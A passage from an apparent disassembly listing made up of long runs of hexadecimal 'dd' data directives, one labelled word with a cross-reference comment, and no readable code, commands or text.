6844518Eh, 0E704C36Eh, 5E0BA013h, 2300D8ACh dd 85BCBF0Fh, 61009EE0h, 5DE43CB0h, 38EB209Ah, 2482D51Fh dd 0FBB6DE59h, 8064CC85h, 732A80E1h, 0AF002F76h, 78370A21h dd 0FEA211h, 0AA4DD440h, 0BD2BBB08h, 8034FA00h, 0BE7B24CBh dd 0C8009D90h, 6A58A651h, 862C76E2h, 0C600F875h, 0B2AF9AAh dd 1A9B018Dh, 535DA325h, 0EA646072h, 0B4193400h, 3881C994h dd 0C5F60FE1h, 0D440D08Eh, 0BA1BA473h, 2C867800h, 50B9D5B7h dd 3CEA0423h, 80C54A57h, 487D5500h, 9DB77700h, 9C718B65h dd 4B44B83Eh, 27F00ED9h, 22EE9001h, 5B09C085h, 1ADDC012h dd 0DA9B6803h, 165CF8FDh, 0C8D700A5h, 75D6D310h, 0FE071B69h dd 3A479D3Dh, 0FA3BE50h, 7750001Ah, 0BDEE5FD9h, 0CA3AA520h dd 1BED8BC0h, 38FC584Dh, 0C1098CDAh, 0CC72ADB8h, 9B059577h dd 0A67383D7h, 8C1B94D0h, 4B8F0014h, 548E484Ch, 6807BCDAh dd 977C886Ah, 87FD06E2h, 58D994D0h, 0FF4307FCh, 90F19F17h dd 71A16846h, 0A3F08E00h, 0EB187A1Dh, 4AED011Bh, 743B6FA5h dd 0AD40DCECh, 141FF03h, 885A48F6h, 0A0765546h, 4C7B16D0h dd 2500D429h, 583944EBh, 9000EC13h, 0B30A372Ah, 39066AA5h dd 0DD011B92h, 0E4F0C5EFh, 0DB6C6445h, 0AA4A0200h, 0C6317ED9h dd 951C000Ch, 6EF27421h, 0FB25730Bh, 0A83C407Fh, 0E4D77977h dd 59A01BCh, 0A2F48AFAh, 8C60D266h, 3600708Bh, 7C4B50FBh dd 750A1D92h, 0A6AE18CFh, 5C62B216h, 701FF98h, 81AF1703h dd 2B1FD0h, 0F8055FCCh, 4B010863h, 98456E6Dh, 8C30A031h dd 4C2B27F1h, 0BEC03C68h, 0C11AEE05h, 0A4C0CC31h, 9CABF0Eh dd 89D5A66Bh, 20F06C60h, 0B94819Dh, 0EC78A511h, 289A8709h dd 0C13501F5h, 5D6BB1D6h, 0B3ACC01Ch, 89655346h, 0C9911E03h dd 0D85F20E0h, 353A88h, 3A9D32Bh, 0D576B08Ch, 0F7E0C300h dd 1B7F11C0h, 0EB750BE5h, 907EAB34h, 4A00793Bh, 20B8FA6Bh dd 16869CC1h, 0F0A54EE1h, 351D96C0h, 0C79DC5AAh, 0D7936A40h dd 38BD99EAh, 7681C1FCh, 0B0DAC3E5h, 0F2482072h, 0BBFB8BA0h dd 0A550950Eh, 0A219A26Ch, 6304404Dh, 0C7A70060h, 0FF22A0F1h dd 0BA00D2CAh, 73CEB755h, 3F2C6C51h, 490CAA87h, 0A7112F42h dd 0EE801100h, 2182CBCFh, 3606001Dh, 708C317Ah, 8509671Ch dd 803C3873h, 395309ECh, 7A103893h, 0AF47EA0Fh, 0C4001569h dd 6CB5EF57h, 0AC421926h, 2F958400h, 90A53202h, 87FA5BF6h dd 6799D050h, 0FC004F93h, 0D9942527h, 0FCE8E4F5h, 11A90084h dd 60328DF8h, 0F8CBDB2Ch, 409A8B6Dh, 49DCC740h, 0A4165482h dd 7854810Dh, 0F746205Dh, 5888EC00h, 0CC182360h, 4FE20991h dd 0EC80491Fh, 5F4E377h, 8DB7731Ch, 9D0A4B00h, 4CA831Bh dd 0F9FE367Fh, 187CECBFh, 0EE10352Eh, 0FD3F0088h, 0CF36D4C7h dd 6CBC1440h, 0D801A1Dh, 81D296E2h, 942301B8h, 496B54C4h dd 109C7357h, 290F56C7h, 120F74FEh, 5C8872E0h, 904F3B5h dd 5A1BAAA1h, 74C23085h, 2C10517Ch, 10B287C8h, 0BB26E0DCh dd 8A003415h, 0A032782Ch, 12D59F51h, 208866h, 0F6FC320h dd 21025CE7h, 695F711Bh, 6B25C0E6h, 51B16011h, 8652D4FEh dd 7C21CC01h, 2D0E92FCh, 484C082Ch, 0B484BD05h, 83158025h dd 8D009742h, 0E4FC0365h, 4C02594Ah, 0E0050E7h, 6847558Bh dd 1D0054D8h, 0F53718C5h, 3B804B56h, 39834A84h, 48272907h dd 18DC70F2h, 2DA76501h, 0C474F001h, 8EE80EA6h, 0EF80DBBDh dd 34E07EC7h, 0AE63ED00h, 5D134DA8h, 5FFF002Dh, 0C772706Eh dd 0B400CE86h, 10D8B3D0h, 0AFE4C1h, 0B98DFDC6h, 3B8E766Fh dd 70C54639h, 54007CB8h, 1A101F9Ah, 905BD803h, 869900EAh dd 0CE328028h, 0DE3F63B0h, 5C2A00BAh, 0AFE68AADh, 70B478FBh dd 3FED2F2Eh, 9B1A2868h, 79150612h, 3B56BC00h, 3D20F569h dd 13023205h, 8CEBFA9Eh, 0CEE088F4h, 49907F72h, 0BA0040E1h dd 577C0E9Dh, 0AD13368Fh, 18C3D5D7h, 0F23D88F5h, 465E0160h dd 0D8027718h, 34D04258h, 3F01F8DEh, 4E55F022h, 8DD889C1h dd 40455AEEh, 0CF139E08h, 4C18E984h, 488014B8h, 944F2C56h dd 257300D0h, 0DA8675E2h, 0A2859600h, 8C1FAEC7h, 0BD1504F9h dd 0C04FA62Dh, 5ED210C5h, 507DA500h, 0C0E91DF8h, 0DA762Ch dd 2B86350Dh, 96B6F331h, 0A03DB7F4h, 903FA601h, 84AF6A00h dd 17D410Dh, 34D6FA81h, 2016F9E6h, 0B75A3FA0h, 88FB3480h dd 6CEC13ABh, 0BC800037h, 194292FFh, 0DB8EA803h, 0F07B8FA1h dd 0B24D4FF4h, 0B10C052Ch, 8011AC7Eh, 385AA9E8h, 18D12426h dd 0B9546500h, 16DD69Fh, 92E10C40h, 3C759B95h, 0E6D7C0ECh dd 5007EFE5h, 49AC3Eh, 7003C29Eh, 0ACF991F7h, 0D23EA990h dd 0E89C8054h, 0C875E3D8h, 729B3B6Eh, 0F9FDD70Eh, 6FFFDEC0h dd 370979CDh, 0A25A46CFh, 52840C10h, 403EA2B4h, 17A0DA0h dd 5E179D2Ah, 20B7AAD9h, 0C51D15A9h, 2302F83Ch, 6148DCBEh dd 1BCC9E10h, 0E9110046h, 85EBC013h, 718CD34h, 1C31DC08h dd 0E2F51932h, 79BD11F4h, 0BB116068h, 5FD5AE35h, 3A0400FAh dd 0F16FDAADh, 0B8223890h, 60340056h, 94B319BEh, 70EE5C47h dd 88B6A030h, 134D44E0h, 8010A5CEh, 5D0537BCh, 0A308C20Ch dd 1C3D825h, 53043DB4h dd 20E841B6h, 1EF82CD2h, 848E8224h, 62A8B785h, 0DB9474D0h dd 9197AD1h, 87884F1h, 80585004h, 2AD2E5D6h, 0ED0E9090h dd 0C0DAC6FDh, 4A61EF59h, 0FCEB00D6h, 0E009558Fh, 0CF98FE21h dd 11A0904Ch, 170BF4B7h, 10C091C5h, 0DC02E82Bh, 5E98232Eh dd 0AC80686Fh, 89D100A2h, 4B03B9B8h, 74264844h, 5517D426h dd 10C7CC09h, 9D83E0h, 0B9876189h, 36452CD1h, 2F39C101h dd 0C9183A01h, 5C154DC8h, 550054ECh, 952CC5F0h, 7C0F4414h dd 72E5D005h, 15C008A8h, 877B4656h, 25D42F04h, 5C800E8Eh dd 0BD72CFh, 4051CDC5h, 99F2DCF3h, 0E015FB25h, 0E4F8D365h dd 9B3101DEh, 0B344CFD4h, 4C0B6A23h, 0DA580571h, 0A40330ECh dd 5B0D8116h, 0EAB6D9C0h, 3F70600h, 13EFDDD4h, 88BB307Fh dd 0FD2EAF50h, 2732A107h, 87F0BAFAh, 66C421Eh, 41E46DB5h dd 18BEB0D8h, 8C801813h, 1735E77Fh, 0B495B2EEh, 3D0255BCh dd 1523990h, 6F8141ABh, 52E54D0h, 716551E7h, 10E0B0A5h dd 0FC00F04Fh, 0EDB89D84h, 119824h, 0A57067BDh, 8E870AC7h dd 0A2154F07h, 0BAD78AD5h, 44EC1CF4h, 0F6E11201h, 70F74511h dd 8000E2A5h, 0A6175F91h, 37B8303Eh, 0B0697E2Ch, 35F3C61Fh dd 0FC566118h, 12D7A81h, 676C99FEh, 0D1747F47h, 16E27032h dd 0BE13A131h, 87D595E3h, 5C9060h, 5D1478AFh, 894459C3h dd 0C86EAE00h, 6FC0B5FFh, 0A10E30EAh, 5462672Ah, 0FE1F34A8h dd 185C9736h, 18876040h, 1C7EBBF9h, 0F60EFC03h, 0D0D3F5F4h dd 14674C11h, 14BC974Bh, 0AD20C070h, 3196DB0Eh, 0BB160CA0h dd 449954A0h, 201FC8CEh, 710E682h, 0CB5100D9h, 684A4EADh dd 0F71DA46Dh, 0E3C0FA1Ah, 341C4D2Fh, 4558008Fh, 65D5AB07h dd 0C03CBD7Bh, 1500F335h, 0ADDA38D7h, 7C63AC2h, 0BD4D7358h dd 0F103433Ch, 0B7C31111h, 0C1B3C980h, 0C888E62Eh, 3DBF343Ch dd 903CAB41h, 717C30DAh, 9878B010h, 1E96D500h, 87279DEFh dd 62F27EB6h, 0D763170h, 43D0E8CBh, 2E3098B7h, 4AA3110Eh dd 0BF1F008Ch, 95AD8F12h, 0F80073A9h, 0CF3F8047h, 0A5FAADBh dd 269ABB98h, 0E744A088h, 61384DD0h, 0B15911FDh, 17F3C8BEh dd 78141E07h, 60461DC7h, 0B93F0021h, 0DF7C48BEh, 0A8041E39h dd 7197F39Ah, 0E0FF7643h, 7CEAE10Ch, 0F6920BEh, 0C6E1AD20h dd 808088AAh, 0A2554973h, 0F40C4E0Eh, 83E16FCh, 0D521C07Bh dd 136E554Fh, 25217713h, 0A3EF9709h, 0BEF60174h, 0F42E3029h dd 8E984371h, 7C02D20Eh, 0DD454097h, 0C16EA0h, 0F22BB7EDh dd 0D9B8F89Eh, 0F0801454h, 8448A124h, 0FF67A401h, 8983C8Fh dd 0ADD52109h, 483ECDFh, 318D927h, 80AB5619h, 38A00DAAh dd 3001575Ch, 0A810598Bh, 9180FF2Bh, 0BEBDC803h, 5C0CBC78h dd 8D46287h, 22DCA80Bh, 20BD00C7h, 304105CBh, 13186642h dd 0AF41FA2Eh, 7B99008Dh, 8F7975F1h, 35E27F41h, 0D0FE5338h dd 48CC0A8h, 0EA0554Bh, 206F623Eh, 915531D3h, 0A2C5AF0Eh dd 0B49AA0E8h, 276B3CCh, 8CADC30Eh, 3C49A04Ch, 89161775h dd 0B71B3941h, 66923000h, 0FA40BBBAh, 907D2301h, 0C67C0122h dd 0B31E9468h, 2228D831h, 5954C783h, 48CC558h, 0EA55548h dd 20776246h, 70554EC8h, 7DF2B30Dh, 46C291FBh, 0DDE7007Ch dd 4F054C4Eh, 65FA209Fh, 92F27D00h, 0D9300BB3h, 0C73713Ah dd 71130F42h, 7F029EA1h, 7E84770Dh, 9D284A9Ah, 8103110Ch dd 80133DECh, 5D6CB19Eh, 0EB5840DAh, 5AFFBF11h, 875FA0Fh dd 0F41470FBh, 100647Eh, 8951A502h, 80C8FD8Dh, 48A0C0C3h dd 3C467F4Ah, 0D0B1ED30h, 0E83F48A8h, 0CFE18B84h, 0EA588250h dd 9F22621Eh, 8E6C11ECh, 0E708005Eh, 6A0A7616h, 116CB975h dd 0BDAE84AAh, 4CAC5AC2h, 4006446Ch, 5ABDC503h, 0D04DC13Dh dd 14419B07h, 381EB8CAh, 4FCE200h, 2DC0C93Fh, 46A94500h dd 0C21E550Ah, 0BD90582Bh, 98D91D09h, 0E379FC0Ch, 4120E8F9h dd 52F72B00h, 8972A0BCh, 210165DAh, 0FFCD00CEh, 0B79DE564h dd 0B1623900h, 2E5BF611h, 0AC68A905h, 0B2BDDC19h, 119C7823h dd 0CB3E0008h, 86AF15BDh, 55F016Dh, 0E99E0DCEh, 0F4CADB94h dd 0A819EE89h, 1201931h, 0B7F313ADh, 3BA82C1Dh, 1BEC500h dd 2E096ABBh, 61841880h, 1328D117h, 12308149h, 0AE030759h dd 90ECAD5Ah, 2C15C17h, 7C0F60B2h, 0B44841C7h, 0D9C0F22Eh dd 0EDFCC123h, 765E00C4h, 0F5A2A8E7h, 0CF0489BDh, 83D8B970h dd 8CC6808Ch, 49489F04h, 0EE63B47Fh, 0ABCF3107h, 0D2477848h dd 0E87BA170h, 7980FD2Eh, 441316B3h, 4C7094A6h, 79DF5F04h dd 14C21B90h, 4BCA9E6h, 4460C908h, 0E239955h, 0E791166h dd 0A1554ACCh, 7E018B8Ch, 81948C7h, 0E9AE63C0h, 2000337Ch dd 120185EBh, 0C69D0Ah, 377B3004h, 759EFAF7h, 842E532Ch dd 4985108Ch, 91410ED9h, 0C2A0A3EDh, 75959C80h, 0DE07291Fh dd 996EA8C1h, 0A8E6C77Eh, 465C60B4h, 0A870007Dh, 7A2F14Dh dd 693724E1h, 2AFA8E04h, 0B60B1EE0h, 0CE00A84Bh, 729221B7h dd 7BBA29EFh, 0FFD925F4h, 40E2C468h, 42C83C00h, 7FF1E967h dd 0A3FE494h, 0F41687D0h, 0C8F3158Ch, 85B20073h, 0DD5497EDh dd 260E0ED1h, 635DD053h, 80A38DB1h, 0A4E11B7Ch, 2C346CCh dd 0EA75546h, 10703156h, 554CCAh, 0A2C6DAA9h, 0C29222DFh dd 21831337h, 24F3BDD0h, 8721FFAh, 0DAEE5Bh, 22CD205Ch dd 75039A18h, 0F819F16Bh, 7D01871Ah, 8C308DEEh, 0A69150Ch dd 0DA12F010h, 27504502h, 62C78Ah, 5ABBA612h, 4EFD7C00h dd 0A9B3EA94h, 64B1000Bh, 49B9B02Fh, 46151384h, 0F88F12Bh dd 70FD89h, 12D6822Dh, 0D5840002h, 0C159BEB4h, 0B100D445h dd 0B031B69Bh, 792583C2h, 3EA97150h, 8F0047BBh, 3796692Bh dd 841B06F4h, 0CA990879h, 0AE8A56Dh, 0B71E0E80h, 74000A5h dd 3CD92E7Eh, 8B1CED89h, 9C0A76Eh, 0A3B398AFh, 744806E6h dd 4179020Eh, 0E8B6F91Ch, 8A077D93h, 70F59E2Bh, 1916880Bh dd 0F4099A28h, 0FF26B456h, 465EFC92h, 4DBF0061h, 0FFC686Eh dd 2C81CA7Fh, 74900C7h, 51B5BF1Bh, 38FBC800h, 0FAA678A9h dd 69411DB3h, 0B7400301h, 391C8C13h, 4A80DED8h, 9BD428AFh dd 30FE4C42h, 0A304BA23h, 5B844548h, 0C50A3098h, 0C7AFD321h dd 847AF10Fh, 1BC627Ch, 0CC169EB0h, 0B4D0C1A6h, 0C7821895h dd 0E211806Eh, 5BD8B380h, 62843FCh, 9EE0EBFFh, 5800CA43h dd 0D9A48499h, 0E459B776h, 82389303h, 0AA7B5AF7h, 0B0042CC2h dd 16764470h, 0F706C0A3h, 28C2C60Ah, 0BD19099h, 3C077C18h dd 0DA8B282Ah, 0E3AE10Ch, 3F4FB9D5h, 32B4B7C0h, 0DC011C9Ah dd 0ED469201h, 5C702810h, 831D417h, 3EE11511h, 317F93EAh dd 419A5040h, 290AF50Fh, 0D154A0C4h, 1EC11807h, 87E66E09h dd 2186EACAh, 556B1F41h, 0DCF5808Ch, 0B5907B35h, 57381E00h dd 0C46647A1h, 170D006Fh, 0E34260A9h, 20E54155h, 0A08C4C50h dd 49F3B0BCh, 6288500Fh, 0BEBC3E80h, 318B77Ah, 39A86355h dd 4823AF9Ah, 0BEB00350h, 1DF2F3ACh, 3A106F19h, 8007BEB8h dd 94EA2BFDh, 896C7DF2h, 0A6DEA694h, 7610A129h, 11B902Dh dd 16C019F5h, 0D60161D3h, 31AFF0D5h, 1424080Ah, 0F8172E24h dd 87AB912Ch, 7812BDAFh, 110A31C4h, 0E4FCC621h, 0BA600E25h dd 0F306B5ACh, 9E767196h, 816A9837h, 198296h, 4A727AA3h dd 0A509E002h, 140C1201h, 16D8D063h, 3791B9BCh, 0F8037873h dd 74DC8C50h, 0A50297A0h dd 483C5039h, 0DF807067h, 8FBF201Ah, 0D8779D0Eh, 36850648h dd 0A0CD0229h, 0F20B62D7h, 0FC46F180h, 7C06B988h, 327D0EFBh dd 0E01D7C29h, 13BFE8E2h, 929B76B6h, 94623638h, 51985C98h dd 8748B603h, 119DA81h, 6F66219h, 846CC802h, 8135040h dd 30B8EC90h, 0BCAE3EC6h, 6F015848h, 0C245975Dh, 0AB2C7047h dd 0FE84E140h, 884400D4h, 0D07BB9CBh, 24B0DB31h, 78884B54h dd 8880AD03h, 8364F447h, 83C9A76Fh, 80AEEC90h, 0EF1F067h dd 85160618h, 8D8C03EEh, 7D040D08h, 0F5D6E34Eh, 0F1EC3480h dd 3C5E07Ch, 5980735Ch, 95800DFCh, 0FA0017B8h, 0DA1AFDCEh dd 30203AD4h, 0C210CDF0h, 36002BB0h, 84FC69F3h, 307F1478h dd 0B4903F88h, 0A314AE43h, 1798BFB0h, 0C0BA1D8h, 4D90C194h dd 0A7807828h, 5D196018h, 0DB07027Eh, 0F056762Bh, 0E016D540h dd 0E674B827h, 9C7B2EB2h, 0ACD6001Fh, 17DC5A60h, 9E91ACA0h dd 0D428DC94h, 0B2E32603h, 1C60149h, 5C75E9E8h, 2D13ACCFh dd 530500CCh, 0F24D8CBDh, 37C50036h, 32A06121h, 9734E83h dd 540010F8h, 0E13DD716h, 0BA4234h, 972FD3B9h, 2552DB15h dd 0E95A3E00h, 3FE80D96h, 0BCA348C9h, 0C600847Fh, 0C7F2799Dh dd 79227F4Ah, 0AEE905FDh, 133A9AB6h, 250088F8h, 945288h dd 0B973FFEEh, 0EC7EE770h, 9A02080Ah, 9B806037h, 0DDB819C7h dd 7056073Eh, 0BB395Eh, 75C02B86h, 77264102h, 80662E64h dd 0F19C948Ch, 0B3100B3h, 2079CD48h, 0A603A7A3h, 7CD8BBE1h dd 69B3A0A8h, 607374E2h, 2E80086Dh, 0BEC39AC4h, 0A04157CEh dd 79346C3h, 5655BA8Ah, 4C3BC39Dh, 204302E1h, 447CCFD1h dd 7C4C8978h, 10DE302Ch, 6CB19Ch, 97B8DD93h, 5FE6C63Bh dd 0DF816300h, 68A4053h, 80500094h, 8C522EC4h, 0C8F99ACEh dd 4C3C4AB2h, 83A369Bh, 9C4D0F30h, 828E5704h, 85BF0396h dd 0DA0240C3h, 0CE4641B9h, 46488E0h, 0CA83DFF5h, 0E37AD0DAh dd 0CB29E083h, 0CD21C06Ch, 0E65DB592h, 0B77ECC06h, 6008BCEEh dd 0AC272178h, 6805E7B5h, 0F2AA37BEh, 672D00BFh, 7A2AF869h dd 0C79FD3Ah, 187EFA52h, 97373FFBh, 4AF7E58Ch, 5E005381h dd 0EC52B6B9h, 3E92A875h, 0AC0CFC68h, 6D98ABE9h, 6638C874h dd 10743005h, 18F01102h, 50476B32h, 8CC1F63h, 3ABF31EDh dd 0C980F027h, 8DE5F7EEh, 58C09C7Ch, 0D8A9FEDCh, 0C6B53E79h dd 18903C18h, 7C1F36E0h, 1A007AF8h, 553DB34h, 3351C0E5h dd 7875448Fh, 0F160A500h, 9C0FDBEFh, 0ECDD3FDCh, 0E5C36380h dd 522B3A17h, 0F07DE40Ch, 18C858A1h, 49D8E3ACh, 0BCA8664Bh dd 0D50027E5h, 2ED7FD51h, 367A29h, 501A530Bh, 0DCCAB2E7h dd 21982156h, 87F8256Bh, 0E130F900h, 0FBCC0EE8h, 0DE520679h dd 788E3C7Dh, 0BD36BA01h, 6EB55CB4h, 0C28DD850h, 0C62E18DDh dd 0FC06E8E1h, 13000492h, 0CBF1E498h, 188E8F4Ah, 71A7BBC3h dd 0E65C4C4Bh, 0C21300CDh, 2D38775Bh, 37FA0091h, 9BEEA5D0h dd 53485643h, 1262320h, 0E658B597h, 88711894h, 0B500912Ch dd 87703376h, 701FAA4Ch, 55E60C7Dh, 0BCC8800Ch, 0ED7CAC50h dd 28464E02h, 414CC25Ah, 0AC50C328h, 0C0B2EBE2h, 0FEA3429h dd 6707A932h, 1746BAE9h, 716F08A1h, 182C4820h, 203728EAh dd 49029AC8h, 22E83410h, 30A483C1h, 0C7A8B52h, 0AB47E260h dd 2604B2D8h, 0B57B106Eh, 0B7205481h, 62477400h, 0AFFACA18h dd 0DBC3D80h, 8BE46E10h, 3EB3E020h, 0A9764A30h, 1AC5A93h dd 0C96BDB99h, 9A73F4FCh, 0DF214C08h, 9F4A7C40h, 7C7A071Fh dd 0A6E4530Fh, 155082D0h, 0A06ACA54h, 59E66000h, 0DFE9F815h dd 0E06B7230h, 91C6AD88h, 18D97998h, 78E291h, 9DCFECAAh dd 7EACE41Ah, 6B608B19h, 2AE4E249h, 538528EAh, 0F13B1490h dd 8780D07Bh, 7EB28D63h, 0FC01BCE8h, 52819D6Eh, 97E8CE6Ch dd 71E66006h, 0C46061E7h, 0F2383300h, 3A63D810h, 30C87CD5h dd 0E6E16734h, 0A962AC75h, 840E59F8h, 309825C4h, 23B57D96h dd 7611ACE6h, 0B5B02B00h, 0F3EC1747h, 0C1598201h, 0EB4626DBh dd 32600030h, 0BEA0BA75h, 0A848700Ch, 4CAC23ECh, 0E58428E4h dd 0CA4488F3h, 96616360h, 0F29ADCEEh, 3770E83h, 133DBABh dd 2961C03Bh, 529947Ch, 823D007Ch, 3F583822h, 0D4C40081h dd 0B1BB7312h, 8E04BF11h, 0CBAEE06Bh, 2D284480h, 2E5B18BAh dd 8015B142h, 91DFF004h, 8178E8h, 7C25297Fh, 30383442h dd 0DBE6AC5Ch, 4F223B46h, 0AC643A00h, 0B8051FDAh, 3D90010Bh dd 0CB5401DFh, 0AB98068h, 4A31121Dh, 290705E5h, 37DE9EAh dd 325898FCh, 520BC4D0h, 0DEE3FD0Ah, 624490ADh, 0D8715A40h dd 0A0007499h, 445F206Fh, 7EC0E0CFh, 3C530090h, 8E582898h dd 99C0654Ah, 8F3A1951h, 242200EEh, 66AECD5Ch, 2A3DF15Ah dd 0E492004Ah, 8261B03Dh, 0C9A3533h, 65780880h, 2FF012C0h dd 1063E56Bh, 0F028BC80h, 7283615h, 5C20FC81h, 94DE50AFh dd 0B33E1504h, 5E80A83Ah, 4BDB95ACh, 66380087h, 9A2E7CACh dd 0D19CF901h, 0DC30F5B8h, 0A0E67AE4h, 2AE53DE0h, 1094ABE0h dd 78FAEBACh, 124923Ch, 2A1296DEh, 0E8421E69h, 0AC59303Bh dd 63DB9611h, 35804B88h, 0BDFDAC61h, 0FBF22C48h, 0E8250874h dd 527D843Fh, 48D26371h, 0AC58303Ch, 5BDB9711h, 36814E88h dd 0D264AC60h, 0FB494D0h, 4B8172E5h, 0C8892139h, 1A00802Eh dd 0B62485A4h, 1E0A79D4h, 8266982Bh, 1110BB15h, 91468486h dd 68BB8A8h, 0B7C8E354h, 91A11300h, 0F63784D5h, 0DD4A00B9h dd 0ACA02BB1h, 94A8E1EDh, 6F2EDE3Bh, 60110875h, 34F00F80h dd 448C176Bh, 2501A1DAh, 556CC0F0h, 5AD5B6ABh, 25FEED4h dd 6DDE78F3h, 0B0659AA4h, 1E507701h, 88606FAAh, 8D3A88ADh dd 0D87FDA00h, 6760D9CAh, 7D7702B5h, 0BBA0AD18h, 0D0B7F093h dd 6235082Bh, 9010E3Bh, 18271FAh, 0EBF86BA0h, 0D49E424h dd 0B0C2936Dh, 2136D839h, 862A0C39h, 29325F1Eh, 219F6308h dd 0B8E83E72h, 0C73CCB75h, 13BC89E7h, 9CC825Ch, 0B19A0751h dd 60F14A2Eh, 0C8B88DF4h, 90779220h, 0CF7548BDh, 4B168E3Eh dd 23DC3A3Bh, 69290074h, 0E6EA557Dh, 8A95A209h, 80D60C52h dd 0F1F60936h, 0CC17C871h, 0F980EC91h, 60BB7C59h, 349279FAh dd 7A1EDC09h, 0F72004EDh, 3061F882h, 3311F00Eh, 0EE880F6Bh dd 0F024C083h, 0A8C2E58Dh, 818D0C9h, 0D9F9E57Dh, 0AC46C4A0h dd 11212F02h, 0A731992Ah, 21377510h, 0F84FF42Eh, 0CA50808h dd 0CC21AABCh, 0A98C1300h, 34DD43E6h, 928E0476h, 3603761h dd 13E706B3h, 12B9A1h, 9E7EB1C6h, 0A74D8EA6h, 655B0004h dd 5211C38Dh, 8BC4A0E4h, 207D2EE6h, 0CA2386F4h, 41005164h dd 0D36EFBFh, 1A7FFBBCh, 497C12E8h, 5011FC9Dh, 4C4A9080h dd 0C005DD6h, 1C34E994h, 5CE58DBBh, 1D9EB8F7h, 200C57DCh dd 0D3EA2E50h, 53B0345Ch, 30ECA2D4h, 5A03C40Eh, 0F9E3BDBCh dd 846958A9h, 0B4205509h, 551E448h, 8E07C8B8h, 1A1E5C6Ch dd 3862100Dh, 79A26C53h, 75DC9331h, 0E0A15CF4h, 5B01A39Ch dd 73DB98ACh, 33886818h, 8FAC0163h, 0F65AB2F5h, 0F388204Fh dd 0C45ED016h, 150EEC02h, 88444562h, 0CA0C6E75h, 0F09915Fh dd 0DE9891AEh, 0D4527680h, 3419D9B4h, 0E1868C80h, 0E50B2062h dd 2C10AFF5h, 540A2B58h, 0ACD10623h, 0A3BB7E80h, 0F5BFBB5h dd 628CB7F7h, 0B2841E07h, 0C8C2CB15h, 60C0A461h, 300C0EECh dd 8966CAF1h, 2AE31D97h dd 1EA040F9h, 0DDC37B1Fh, 3E08F8C4h, 4DE270A2h, 7619AE30h dd 97C701D4h, 0FAE3F0F8h, 4EF44CB5h, 9542B4Ch, 65B0DF3h dd 4C102A9Ch, 238A0862h, 0D408B710h, 0F01CA52Eh, 29DA7B6Bh dd 6410C920h, 0F0081318h, 0C4376B30h, 29BD40D8h, 590ECF0h dd 3E59C406h, 0D4D8838Dh, 0BBC2210Ch, 64B1A0h, 7771589Eh dd 5BB024EBh, 3D875401h, 0A40C7248h, 5CE58EECh, 6704742Ah dd 0C82B9CF8h, 48C92FCh, 2A132135h, 3DC43929h, 0EEAE0021h dd 88B56543h, 16380CA1h, 0B4C6A4BDh, 7D6465Eh, 0EFD13B21h dd 7B22CB1h, 6FE1E4C4h, 0FA2271B1h, 6043807Dh, 4D5890DCh dd 6D2955FEh, 33015CB0h, 392A0D21h, 71889A18h, 3D21053Bh dd 843C6885h, 628A30Ch, 0E11332ABh, 0F464A070h, 2AE4A891h dd 4D5E375Ah, 62F09180h, 33606164h, 30A7A298h, 0C6090ED7h dd 0B17855h, 0C93BF4ECh, 0D27B401Ch, 0B9346112h, 5115C844h dd 757E4091h, 5253A989h, 6380340Eh, 5983E53Bh, 18C23530h dd 122A9A33h, 0D1E4E6ACh, 17B1E018h, 0F859ECC6h, 5E089C52h dd 3004E46h, 0B548D92Fh, 437CE4A5h, 6DDAE014h, 0F0283288h dd 0E060CD83h, 24ED5340h, 5655B306h, 25A4FB07h, 0E814DDE5h dd 0C3464200h, 2253F513h, 82BE254Eh, 6900E1D8h, 0DC8D975Fh dd 5947F2F3h, 0EBC1048Ch, 0A46E8AEFh, 0E026ECB0h, 7EEF4674h dd 36751004h, 24A2E75Eh, 0FAEDF448h, 17F9630h, 0A854D5D1h dd 80A3BC4Ch, 9BF9A1F1h, 2D3F38h, 0C462D4ECh, 8F47430Dh dd 2AB12C04h, 84B051E2h, 0C0BC7452h, 0AEE6FC39h, 2F496E7h dd 0DFAC240Dh, 0A802C1EAh, 1064119Fh, 68CEADh, 1A078ACFh dd 0B729A07Fh, 628D2300h, 3EE48090h, 6E083F54h, 80A6B416h dd 0EC8DFE54h, 0D87980A2h, 7D187779h, 0B6EA3905h, 4492160Eh dd 54C433C5h, 8CA4E828h, 0B3560604h, 98C2B2D0h, 46110E9h dd 0F100DAF8h, 2AC38B33h, 24B03D53h, 24ACE1DDh, 2A8CAE8h dd 0C2132858h, 0F109A870h, 187D4AF0h, 14AA8778h, 0C45D99F2h dd 0B6F3E508h, 6989539Fh, 0F76422CBh, 116A11B5h, 0F2F868C9h dd 935FF257h, 5E1DD020h, 8600DD74h, 36E05198h, 0A95CC070h dd 951828CCh, 0E6235EF6h, 0E7211C4h, 60B5AF2Ah, 0E4D16EA1h dd 8F0F0E20h, 0E6C94A4Eh, 52A1C8B0h, 2EE06B80h, 2828C6EEh dd 0D17099A8h, 0CB18D6h, 20F931B1h, 1C2B2594h, 97E0E414h dd 0C38D82A4h, 30464C2h, 9781942h, 0C1AFC437h, 0F4E38F3Ah dd 9713F472h, 4442B053h, 585DFA82h, 5B890674h, 1162522Ah dd 7E09E500h, 2EB1948Eh, 50B6A1h, 3FA775ECh, 733AFC63h dd 0B3F10546h, 0B1405A2Eh, 65D93567h, 41589142h, 286360CDh dd 3D8F168Ch, 8C0CB064h, 66B31FFh, 7DE3DCDEh, 0F71269A3h dd 0D2E899EFh, 29A69A00h, 4882AD81h, 92FBE00h, 101161AFh dd 0E46A3A9Dh, 0DCF38680h, 0AE8E0717h, 3D66648h, 5A96703h dd 0C8A3E865h, 93131F87h, 2676FC40h, 883D72h, 0B0AE26C0h dd 491F9AEDh, 2FC0EB86h, 4BBA4622h, 0BEC401A5h, 0ADF2B567h dd 0AE7C20D0h, 0E36D9600h, 3010E599h, 0B2FC04A7h, 80D94236h dd 0B19606FCh, 9325BC7Eh, 8250353Ch, 61CB033Eh, 6E714048h dd 0EEB18C00h, 0E638CECAh, 664B24F8h, 80241164h, 0E65AB599h dd 580C9CA4h, 3098932Eh, 0D48C0401h, 31F8D08Dh, 36C1E038h dd 0C85DFE5Ch, 0E438B57Ah, 298257Dh, 0F0DA26E8h, 40BE2C4Ch dd 69467494h, 5500B258h, 89A5638Dh, 261DD348h, 7897F228h dd 64BB1882h, 0B9440014h, 6C4DA485h, 0E096547Fh, 885B3C23h dd 18E631B8h, 48B6607Dh, 0C60CC57Eh, 1088CC8Dh, 874F01E9h dd 6890A75h, 8B8853FBh, 0F81D1891h, 877152E8h, 7650BC50h dd 7C95F10Bh db 4Eh, 20h word_505446 dw 0C9ACh ; DATA XREF: ___:off_435710o dd 94C35453h, 0DA9983F4h, 0B9F887F8h, 